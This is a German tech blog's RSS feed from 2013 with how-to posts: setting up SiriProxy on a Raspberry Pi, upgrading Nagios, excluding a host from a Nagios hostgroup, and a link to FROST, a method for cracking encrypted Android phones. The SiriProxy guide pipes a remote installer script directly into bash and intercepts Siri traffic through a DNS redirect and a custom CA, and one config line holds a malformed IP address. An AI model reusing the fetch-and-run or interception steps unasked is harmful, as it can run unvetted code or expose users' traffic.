<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:series="http://organizeseries.com/"
	>

<channel>
	<title>Bits, Bytes and my 5 cents &#187; Planet</title>
	<atom:link href="http://blog.encodingit.ch/tag/planet/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.encodingit.ch</link>
	<description>Life is just a technical game</description>
	<lastBuildDate>Wed, 15 May 2013 15:21:23 +0000</lastBuildDate>
	<language>de-DE</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>Siriproxy &#8211; Siri für den Heimgebrauch</title>
		<link>http://blog.encodingit.ch/2013/04/siriproxy-siri-fur-den-heimgebrauch/</link>
		<comments>http://blog.encodingit.ch/2013/04/siriproxy-siri-fur-den-heimgebrauch/#comments</comments>
		<pubDate>Tue, 09 Apr 2013 17:28:54 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[IPhone]]></category>
		<category><![CDATA[Netzwerk]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Planet]]></category>
		<category><![CDATA[Siri]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4364</guid>
		<description><![CDATA[Der Raspberry Pi ist ja schon ein nettes, kleines Ding, doch einen wirklich definitiven Anwendungszweck habe ich dafür noch nicht gefunden, und deshalb dient er einfach immer mal wieder als Versuchskaninchen und Spielwiese, so auch für die Anwendung dieses Beitrages. Und wer weiss, vielleicht habe ich am Ende ja auch noch eine definitive Anwendung dafür.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Der Raspberry Pi ist ja schon ein nettes, kleines Ding, doch einen wirklich definitiven Anwendungszweck habe ich dafür noch nicht gefunden, und deshalb dient er einfach immer mal wieder als Versuchskaninchen und Spielwiese, so auch für die Anwendung dieses Beitrages. Und wer weiss, vielleicht habe ich am Ende ja auch noch eine definitive Anwendung dafür.</p>
<p>An alle die jetzt gleich wieder losflamen wollen, wegen Android vs. iOS, hier geht es um Siri und dadurch um iOS und Apple &#8211; bei der Anwendung am Schluss auf jeden Fall. Und wer mich jetzt von seinem Android-Phone unbedingt überzeugen will, der soll mit einem 6er Pack Bier vorbei kommen, dann diskutieren wir das gerne von Angesicht zu Angesicht, aber bitte nicht in den Kommentaren! Wer zu weit weg wohnt, um vorbeizukommen, der kann mir das Bier auch schicken und wir machen die Diskussion via Email <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Also, wie schon gesagt, geht es um Siri, genauer um den Siri Proxy. Dieser greift den Verkehr zwischen Siri und Apple ab und schaltet sich dazwischen, sodass beliebige Aktionen und Antworten mittels Siri abgefragt werden können &#8211; alles was man digital irgendwie ansprechen kann, kann man somit über Sprachsteuerung automatisieren. Coole Vorstellung! <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Der Nachteil, man muss sich halt im entsprechenden Netzwerk befinden, wie der Proxy, von Unterwegs funktioniert das ganze also nicht (ausser man macht seinen Proxy öffentlich, was ich aber je nach Möglichkeiten und Anwendungsgebiet nicht empfehlen würde&#8230;).</p>
<p>Für die Installation braucht man erstmal das Raspbian Image Wheezy von <a href="http://ftp.snt.utwente.nl/pub/software/rpi/images/raspbian/2012-12-16-wheezy-raspbian/2012-12-16-wheezy-raspbian.zip"  target="_blank" rel="nofollow">hier</a>, <a href="http://mirror.star.net.uk/raspberrypi/images/raspbian/2012-12-16-wheezy-raspbian/2012-12-16-wheezy-raspbian.zip"  target="_blank" rel="nofollow">hier</a> oder einer von denen <a href="http://downloads.raspberrypi.org/download.php?file=/images/raspbian/2012-12-16-wheezy-raspbian/2012-12-16-wheezy-raspbian.zip"  target="_blank" rel="nofollow">hier</a> &#8211; Auswahl gibts genug!</p>
<p><span id="more-4364"></span></p>
<p>Dies muss man installieren, einrichten und aktualisieren, aber das schafft jeder hoffentlich noch ohne Anleitung, ansonsten kann Google sicher helfen. Danach richtet man sich einen Root-Account ein, unter welchem wir künftig arbeiten und aktualisiert das System:</p>
<pre class="brush: bash; title: ; notranslate">
sudo passwd root
sudo apt-get update
sudo apt-get upgrade
sudo apt-get dist-upgrade
sudo apt-get autoremove
sudo apt-get autoclean
sudo reboot
</pre>
<p>Nach dem Neustart logt man sich dann auch gleich als Root ein und schon kann die eigentliche Schlacht beginnen.<br />
Als erstes brauchen wir ein paar Grundlagen:</p>
<pre class="brush: bash; title: ; notranslate">
apt-get install samba samba-common-bin ssh vim rcs unzip ruby build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion pkg-config gcc g++ dnsmasq libgdbm-dev libffi-dev -y
</pre>
<p>Weiter geht es mit einer statischen IP, schliesslich wollen wir die Einstellungen auf unserem iPhone ja nicht jeden Tag der DHCP-Adresse des Proxys anpassen. Dazu passen wir die Datei /etc/network/interfaces an:</p>
<pre class="brush: bash; title: ; notranslate">
auto eth0
iface eth0 inet static

address 192.168.1.200
netmask 255.255.255.0
broadcast 192.168.1.255
network 192.168.1.0
gateway 192.168.1.1
</pre>
<p>Nun das Netzwerk-Interface neustarten:</p>
<pre class="brush: bash; title: ; notranslate">
ifdown eth0
ifup eth0
</pre>
<p>Nun empfiehlt es sich, öffentliche DNS-Server noch einzutragen, da man sonst keine URLs mehr auflösen kann. Also ergänzt man die Datei /etc/resolv.conf um folgende Einträge:</p>
<pre class="brush: bash; title: ; notranslate">
nameserver 8.8.8.8
nameserver 8.8.4.4
</pre>
<p>Hier kann man natürlich auch die DNS des eigenen ISPs eintragen, oder was man sonst so mag.<br />
Weiter geht es mit dem eigenen DNS. Der Proxy soll ja die Anfragen vom iPhone abfangen, weshalb man noch einen DNS Server braucht. Auch hier braucht es noch etwas Anpassung in der Konfiguration unter /etc/dnsmasq.conf:</p>
<pre class="brush: bash; title: ; notranslate">
#address=double-click.net/127.0.0.1
# iOS production Siri server
address=/guzzoni.apple.com/192.168.1.200
# iOS beta Siri server
address=/kryten.apple.com/192.168.69.1.200
</pre>
<p>Danach noch neustarten und schon ist DNS auch Geschichte:</p>
<pre class="brush: bash; title: ; notranslate">
/etc/init.d/dnsmasq restart
</pre>
<p>Nun folgt das Installieren von RVM:</p>
<pre class="brush: bash; title: ; notranslate">
bash &lt; &lt;(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)
[[ -s &quot;/etc/profile.d/rvm.sh&quot; ]] &amp;&amp; . &quot;/etc/profile.d/rvm.sh&quot;
echo '[[ -s &quot;/etc/profile.d/rvm.sh&quot; ]] &amp;&amp; . &quot;/etc/profile.d/rvm.sh&quot; # Load RVM function' &gt;&gt; ~/.bash_profile
rvm autolibs enable
rvm install 1.9.3
</pre>
<p>Nun folgt die eigentliche Konfiguration:</p>
<pre class="brush: bash; title: ; notranslate">
git clone git://github.com/plamoni/SiriProxy.git
cd SiriProxy
mkdir ~/.siriproxy
cp ./config.example.yml ~/.siriproxy/config.yml
rake install
</pre>
<p>Noch die passenden Zertifikate:</p>
<pre class="brush: bash; title: ; notranslate">
siriproxy gencerts
</pre>
<p>Nun gibt es ein Zertifikat unter dem Namen ca.pem. Dieses muss man wegkopieren (SCP) und auf das iPhone mailen und da installieren &#8211; keine grosse Sache.<br />
Noch die finale Installation und den Dienst starten:</p>
<pre class="brush: bash; title: ; notranslate">
siriproxy bundle
bundle install
siriproxy server
</pre>
<p>Danach muss man nur noch auf dem iPhone den DNS Eintrag auf die IP des Siri Proxys abändern und schon ist es vollbracht.<br />
Wenn alles klappt, sollte man auf die Frage &#8220;test siri proxy&#8221; eine Antwort bekommen. <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div id="socialshareprivacy_700ba7bce42d93ce6f1e52e4c97c148d"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/04/siriproxy-siri-fur-den-heimgebrauch/'
				$(document).ready(function(){
					$('#socialshareprivacy_700ba7bce42d93ce6f1e52e4c97c148d').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/04/siriproxy-siri-fur-den-heimgebrauch/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Upgrade Nagios von Version 3.4.2 auf 3.4.4</title>
		<link>http://blog.encodingit.ch/2013/03/upgrade-nagios-von-version-3-4-2-auf-3-4-4/</link>
		<comments>http://blog.encodingit.ch/2013/03/upgrade-nagios-von-version-3-4-2-auf-3-4-4/#comments</comments>
		<pubDate>Wed, 13 Mar 2013 11:03:33 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Nagios]]></category>
		<category><![CDATA[Planet]]></category>
		<category><![CDATA[Upgrade]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4324</guid>
		<description><![CDATA[Seit dem 12. Januar 2013 bereits gibt es eine aktualisierte Version von Nagios Core. Dadurch werden einige Bugfixes und Sicherheitslücken geschlossen.
Höchste Zeit also, eine Aktualisierung zu fahren. Diese funktioniert auch in wenigen Schritten schon fast automatisch.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Seit dem 12. Januar 2013 bereits gibt es eine aktualisierte Version von Nagios Core. Dadurch werden einige Bugfixes und Sicherheitslücken geschlossen.<br />
Höchste Zeit also, eine Aktualisierung zu fahren. Diese funktioniert auch in wenigen Schritten schon fast automatisch. Idealerweise arbeitet man dabei als User Nagios:</p>
<pre class="brush: bash; title: ; notranslate">
su -l nagios
</pre>
<p>Nun muss man sich von Altlasten entledigen:</p>
<pre class="brush: bash; title: ; notranslate">
rm /usr/local/nagios/share/{main,side,index}.html
</pre>
<p>Und die neuste Version herunterladen und entpacken:</p>
<pre class="brush: bash; title: ; notranslate">
wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.4.4.tar.gz
tar xzf nagios-3.4.4.tar.gz
cd nagios
</pre>
<p>Nun noch konfigurieren, compilieren und installieren:</p>
<pre class="brush: bash; title: ; notranslate">
./configure --with-command-group=nagcmd
make all
make install
/usr/local/nagios/bin/nagios -v /usr/local/nagios/etc/nagios.cfg
/etc/init.d/nagios restart
</pre>
<p>Und schon ist die Hexerei vorbei:</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2013/03/version.png"  rel="lightbox[4324]"><img src="http://blog.encodingit.ch/wp-content/uploads/2013/03/version.png" alt="version" width="225" height="215" class="alignnone size-full wp-image-4325" /></a></p>
<div id="socialshareprivacy_ca63843f8e7c50f2ff6005e4ecc0ae5f"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/03/upgrade-nagios-von-version-3-4-2-auf-3-4-4/'
				$(document).ready(function(){
					$('#socialshareprivacy_ca63843f8e7c50f2ff6005e4ecc0ae5f').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/03/upgrade-nagios-von-version-3-4-2-auf-3-4-4/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Einzelner Host aus Nagios Hostgroup ausschliessen</title>
		<link>http://blog.encodingit.ch/2013/03/einzelner-host-aus-nagios-hostgroup-ausschliessen/</link>
		<comments>http://blog.encodingit.ch/2013/03/einzelner-host-aus-nagios-hostgroup-ausschliessen/#comments</comments>
		<pubDate>Fri, 08 Mar 2013 13:16:01 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Nagios]]></category>
		<category><![CDATA[Exception]]></category>
		<category><![CDATA[hostgroup]]></category>
		<category><![CDATA[Planet]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4310</guid>
		<description><![CDATA[Wer sich mit Nagios beschäftgt, weiss wie schnell eine Konfiguration unübersichtlich werden kann. Da ist es schon ideal kann man mittels hostgroup einzelne Hosts zusammenfassen und dann Services gleich auf ganze Gruppen anwenden, anstelle von jeden Namen einzeln nachzuführen. Das vereinfacht nicht nur die Übersicht, auch die Administration und das Zufügen von neuen Hosts wird vereinfacht und beschleunigt.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Wer sich mit Nagios beschäftigt, weiss wie schnell eine Konfiguration unübersichtlich werden kann. Da ist es schon ideal kann man mittels hostgroup einzelne Hosts zusammenfassen und dann Services gleich auf ganze Gruppen anwenden, anstelle von jeden Namen einzeln nachzuführen. Das vereinfacht nicht nur die Übersicht, auch die Administration und das Zufügen von neuen Hosts wird vereinfacht und beschleunigt.<br />
Doch was ist nun, wenn wir eine Gruppe von Servern haben und von den 10 Servern einen bestimmten Service nur auf 9 davon anwenden? Da gibt es zwei Möglichkeiten: </p>
<p>Entweder man macht daraus 2 neue Gruppen. Dummerweise kreiert man so ziemlich schnell sehr viele neue Gruppen und am Schluss ist praktisch jeder Server in einer eigenen Gruppe und es wird wiederum alles unübersichtlich und unnötig kompliziert.<br />
Oder man lässt beim entsprechenden Service die Gruppen weg und erwähnt jeden Host einzeln, auf welchen man das ganze anwenden will. Auch das ist theoretisch möglich, doch auch nicht sehr praktisch, da man so beim erweitern alle Services durchgehen muss und überall noch den neuen Host anhängen.</p>
<p>Also braucht man eine Art Ausnahmen &#8211; Und die gibt es auch.<br />
Einfach ein ! (NOT) vor den Hostnamen setzen und schon wird dieser aus der Hostgroup ausgeschlossen. Anstelle von:</p>
<pre class="brush: bash; title: ; notranslate">
host_name  server005, server007, server008, server010, server001, server012, server015, server016
</pre>
<p>Schreibt man einfach:</p>
<pre class="brush: bash; title: ; notranslate">
hostgroup_name   customer-servers
host_name        !server004
</pre>
<p>In Nagios selbst sieht die Konfiguration dann so aus:</p>
<pre class="brush: bash; title: ; notranslate">
define service{
        use                     generic-service
        hostgroup_name          customer-servers
        host_name               !server004
        service_description     Webfrontend
        action_url              http://$HOSTALIAS$/page/
        check_command           check_http!-H $HOSTALIAS$ -u &quot;/page/&quot; -s &quot;Username&quot; -f follow -w 5
}
</pre>
<p>Hätte ich das nur von Anfang an gewusst&#8230;</p>
<div id="socialshareprivacy_69146919937993d048e06580c95de3c1"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/03/einzelner-host-aus-nagios-hostgroup-ausschliessen/'
				$(document).ready(function(){
					$('#socialshareprivacy_69146919937993d048e06580c95de3c1').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/03/einzelner-host-aus-nagios-hostgroup-ausschliessen/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Linktipp: Ein Gefrierschrank knackt jedes Android-Phone</title>
		<link>http://blog.encodingit.ch/2013/02/linktipp-ein-gefrierschrank-knackt-jedes-android-phone/</link>
		<comments>http://blog.encodingit.ch/2013/02/linktipp-ein-gefrierschrank-knackt-jedes-android-phone/#comments</comments>
		<pubDate>Wed, 20 Feb 2013 19:33:03 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[FROST]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Planet]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4255</guid>
		<description><![CDATA[Forensic Recovery Of Scrambled Telephones, oder kurz auch FROST genannt, beschreibt eine Methode, wie fast jedes Android-Phone geknackt werden kann. Und das inklusive allen verschlüsselten Daten, welche sich auf dem Phone befinden. Alles was man braucht ist physikalischen Zugriff und einen Gefrierschrank.<div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Forensic Recovery Of Scrambled Telephones, oder kurz auch FROST genannt, beschreibt eine Methode, wie fast jedes Android-Phone geknackt werden kann. Und das inklusive allen verschlüsselten Daten, welche sich auf dem Phone befinden. Alles was man braucht ist physikalischen Zugriff und einen Gefrierschrank. Genau, ein Gefrierschrank: <a href="https://www1.informatik.uni-erlangen.de/frost"  target="_blank" rel="nofollow">FROST-Methode am Beispiel eines Galaxy Nexus</a></p>
<p>Und da beschweren sich alle immer, beim iPhone könne man den Akku nicht herausnehmen <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<div id="socialshareprivacy_b34018b7f79874df72566945b2127727"></div>
			<script type="text/javascript">
			(function($){
				var options = {"info_link":"http:\/\/www.heise.de\/ct\/artikel\/2-Klicks-fuer-mehr-Datenschutz-1333879.html","txt_help":"Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter oder Google \u00fcbertragen und unter Umst\u00e4nden auch dort gespeichert.","settings_perma":"Dauerhaft aktivieren und Daten\u00fcber\u00adtragung zustimmen:","cookie_path":"\/","cookie_expire":"365","cookie_domain":"","css_path":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/socialshareprivacy.css","services":{"facebook":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_facebook.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_fb_off":"nicht mit Facebook verbunden","txt_fb_on":"mit Facebook verbunden","display_name":"Facebook","referrer_track":"","language":"de_DE","app_id":"109340155777192"},"twitter":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_twitter.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_twitter_off":"nicht mit Twitter verbunden","txt_twitter_on":"mit Twitter verbunden","display_name":"Twitter","referrer_track":"","tweet_text":"Gerade gefunden auf Bits, Bytes and my 5 Cents"},"gplus":{"status":"on","dummy_img":"http:\/\/blog.encodingit.ch\/wp-content\/plugins\/wp-socialshareprivacy\/images\/dummy_gplus.png","txt_info":"2 Klicks f\u00fcr mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie k\u00f6nnen Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte \u00fcbertragen \u2013 siehe <em>i<\/em>.","txt_gplus_off":"nicht mit Google+ verbunden","txt_gplus_on":"mit Google+ verbunden","display_name":"Google+","referrer_track":"","language":"de"}}};
				options.cookie_domain = document.location.host;
				options.uri = 'http://blog.encodingit.ch/2013/02/linktipp-ein-gefrierschrank-knackt-jedes-android-phone/'
				$(document).ready(function(){
					$('#socialshareprivacy_b34018b7f79874df72566945b2127727').socialSharePrivacy(options);
				});
			})(jQuery);
			</script>
		<!-- end wp-socialshareprivacy --><div class='yarpp-related-rss yarpp-related-none'>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />
<img src='http://yarpp.org/pixels/9361cfa8eedbbdb5e296b3773515fb11'/>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2013/02/linktipp-ein-gefrierschrank-knackt-jedes-android-phone/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Eigene Nagios-Plugins am Beispiel CURL</title>
		<link>http://blog.encodingit.ch/2013/02/eigene-nagios-plugins-am-beispiel-curl/</link>
		<comments>http://blog.encodingit.ch/2013/02/eigene-nagios-plugins-am-beispiel-curl/#comments</comments>
		<pubDate>Tue, 19 Feb 2013 06:30:09 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Nagios]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[Cookie]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[Planet]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=4241</guid>
